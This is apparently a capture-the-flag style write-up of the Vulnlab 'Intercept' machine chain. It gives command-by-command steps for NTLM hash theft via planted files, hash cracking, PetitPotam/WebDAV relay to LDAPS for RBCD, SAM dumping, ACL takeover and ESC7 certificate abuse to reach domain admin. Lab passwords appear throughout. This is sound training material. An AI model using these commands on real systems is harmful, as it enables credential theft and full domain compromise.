Vulnlab — Intercept

8 min readAug 16, 2023

Intercept, a hard rated chain machine involved two machines, WS01 and DC01 , on WS01 coercing NTLM authentication by uploading different file extensions to grab the hash of the user, performing Resource Based Constrained Delegation (RBCD) by utilizing WebDAV and PetitPotam to relay WS01’s hash through LDAP, abusing GenericAll to add user to ca-managers and abusing ESC7 (Vulnerable Certificate Authority Access Control) to become domain admin.



53/tcp open tcpwrapped syn-ack ttl 127
135/tcp open tcpwrapped syn-ack ttl 127
139/tcp open tcpwrapped syn-ack ttl 127
389/tcp open tcpwrapped syn-ack ttl 127
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.intercept.vl
445/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open tcpwrapped syn-ack ttl 127
49664/tcp open tcpwrapped syn-ack ttl 127
54368/tcp open tcpwrapped syn-ack ttl 127
55463/tcp open tcpwrapped syn-ack ttl 127


135/tcp open tcpwrapped syn-ack ttl 127
139/tcp open tcpwrapped syn-ack ttl 127
445/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open tcpwrapped syn-ack ttl 127
| ssl-cert: Subject: commonName=WS01.intercept.vl
| Issuer: commonName=WS01.intercept.vl
| Public Key type: rsa
| Public Key bits: 2048

Enumerating the smb shares, we have dev and Users share on WS01

We can access the dev share with null authentication which has readme stating about checking this share

From the tools folder, it has Autologon64.exe

So this tells us that a user will constantly look into this folder, we can try coercing NTLM authentication, to do that we can try placing scf, url, lnk and other files that will have UNC path to our IP, we can utilize ntlm theft script that can help us in generate files rather than spending time and doing it manually

python3 ./ -s --generate all --filename @

With prompt off and mput * we can upload all of these files on dev smb share

As soon as these files will be uploaded, we’ll get NTLMv2 hash of Kathryn.Spencer on Responder

We can try cracking it but before that let’s see if we can realy it on DC01 by checking if smb singing is disabled

SM signing is enabled so we can’t relay it and the only option we have here is to crack this hash, using hashcat we'll be able to crack this hash with the password Chocolate1

hashcat -a 0 -m 5600 ./hash.txt /usr/share/wordlists/rockyou.txt

We can verify if we have a domain user

So now we can enumerate the domain with python-bloodhound

python3 /opt/ -d 'intercept.vl' -u 'KATHRYN.SPENCER' -p 'Chocolate1' -gc 'DC01.intercept.vl' -c all -ns

From bloodhound, we only see this user to be a part of intercept-users group

We can try spraying the password on other domain users by retrieving the usernames from LDAP using windapsearch

windapsearch -u 'KATHRYN.SPENCER' -p 'Chocolate1' -d 'intercept.vl' -m users --dc | grep sAMAccountName | awk -F: '{ print $2 }' | awk '{ gsub(/ /,""); print }'

But this password didn’t worked with any other user

Taking a hint from the vulnlab wiki, it mentions about looking into LDAP singing and WebClient service, we can check these if they are enabled with the help of crackmapexec

Performing RBCD to get Administrator (WS01)

WebClient (WebDAV) service is enabled on WS01, which can be abused to coerce authentication combined with PetitPotam, we'll coerce WS01 to authenticate on DC01, since LDAP singing is disabled, this can be relayed with ntlmrealyx through LDAP, we can add a machine account with delegation privileges to WS01 meaning that we can perform resource based delegation (RBCD) on WS01 and impersonate as administrator

But the issue is to retrieve the coerced authentication, the host needs to be in an intranet zone, must be a domain joined machine or create a valid DNS entry, Starting responder with HTTP set to off and note down the hostname it generates for us

Adding DNS entry for this hostname with

python3 -u 'intercept.vl\KATHRYN.SPENCER' -p Chocolate1 --action add --record WIN-6U9AIDU8LOC.intercept.vl --data --type A

Running ntlmrealyx with --delegate-access on DC01 -t ldaps:// --delegate-access -smb2support

And finally we are going to run on WS01

python3 -d "intercept.vl" -u "KATHRYN.SPENCER" -p "Chocolate1" WIN-6U9AIDU8LOC@80/randomfile.txt

From the output of ntlmrelayx, we’ll see a machine account will be created with delegation rights to impersonate any users on WS01

We can verify this by checking the attributes of WS01 with

So now with we can request a TGT for administrator user on WS01 -spn 'cifs/WS01.intercept.vl' -impersonate Administrator -dc-ip 'intercept/JELZDXBK$':'k)^g,*no2IwtvZY'

Dumping SAM hashes with administrator@WS01.intercept.vl -k -no-pass

From the output we’ll get another domain user’s credentials simon.bowen, from bloodhound, this user has GenericAll on ca-managers group

certipy find -u 'Simon.Bowen' -p 'b0OI_fHO859+Aw' -vulnerable -stdout -dc-ip

Running certipy to check what access rights the groups have on certificates

Vulnerable Certificate Authority Access Control (ESC7)

Here ca-managers group has ManageCa permission which allows to change CA’s settings to enable Subject Alternative Name (SAN) on all certificate templates which allows users to request a certificate for any domain user by enabling EDITF_ATTRIBUTESUBJECTALTNAME2 property which is dubbed as ESC7

We need to add Simon in ca-managers group, this can be done by first becoming the owner of the group and giving full control to Simon and then adding him into the group, for that we can use and we need to use the old version of impacket so enabling python virtual environment

For using

git clone --branch dacledit

Also we can just copy

python3 ./ -action write -target 'ca-managers' -new-owner 'Simon.Bowen' 'intercept.vl'/'Simon.Bowen':'b0OI_fHO859+Aw' -dc-ip

Now giving full control over ca-mangers object -action 'write' -rights 'FullControl' -principal 'Simon.Bowen' -target 'ca-managers' 'intercept.vl'/'Simon.Bowen':'b0OI_fHO859+Aw' -dc-ip

Adding Simon into ca-managers group with net rpc

net rpc group addmem 'ca-managers' 'Simon.Bowen' -U intercept.vl/Simon.Bowen -S DC01.intercept.vl

To verify if Simon is in the ca-managers group, we can re run python bloodhound and see the data from there

Moving back to certipy, we’re going to make Simon a ca-office which is basically granting manage certificates rights to validate the failed request

certipy ca -ca 'INTERCEPT-DC01-CA' -add-officer 'Simon.Bowen' -u 'Simon.Bowen@intercept.vl' -p 'b0OI_fHO859+Aw' -dc-ip

Now to list the certificate templates, to check if SubCA is enabled

certipy ca -u "Simon.Bowen@intercept.vl" -p "b0OI_fHO859+Aw" -dc-ip "" -ca 'INTERCEPT-DC01-CA' -list-templates

Requesting a certificate for administrator using SubCA template, it will be denied but still we’ll be able to save the private key

certipy req -u 'Simon.Bowen@intercept.vl' -p 'b0OI_fHO859+Aw' -ca INTERCEPT-DC01-CA -dc-ip -template SubCA -upn administrator@intercept.vl

Having the manage certificates rights, we can validate the failed request since we have the key

certipy ca -ca 'INTERCEPT-DC01-CA' -issue-request 3 -u 'Simon.Bowen@intercept.vl' -p 'b0OI_fHO859+Aw' -dc-ip

And then retrieving the administrator’s certificate

certipy req -ca 'INTERCEPT-DC01-CA' -retrieve 3 -u 'Simon.Bowen@intercept.vl' -p 'b0OI_fHO859+Aw' -dc-ip

All that is left is to retrieve the NThash with the certificate

certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'intercept.vl' -dc-ip

We can just login through WinRM on DC01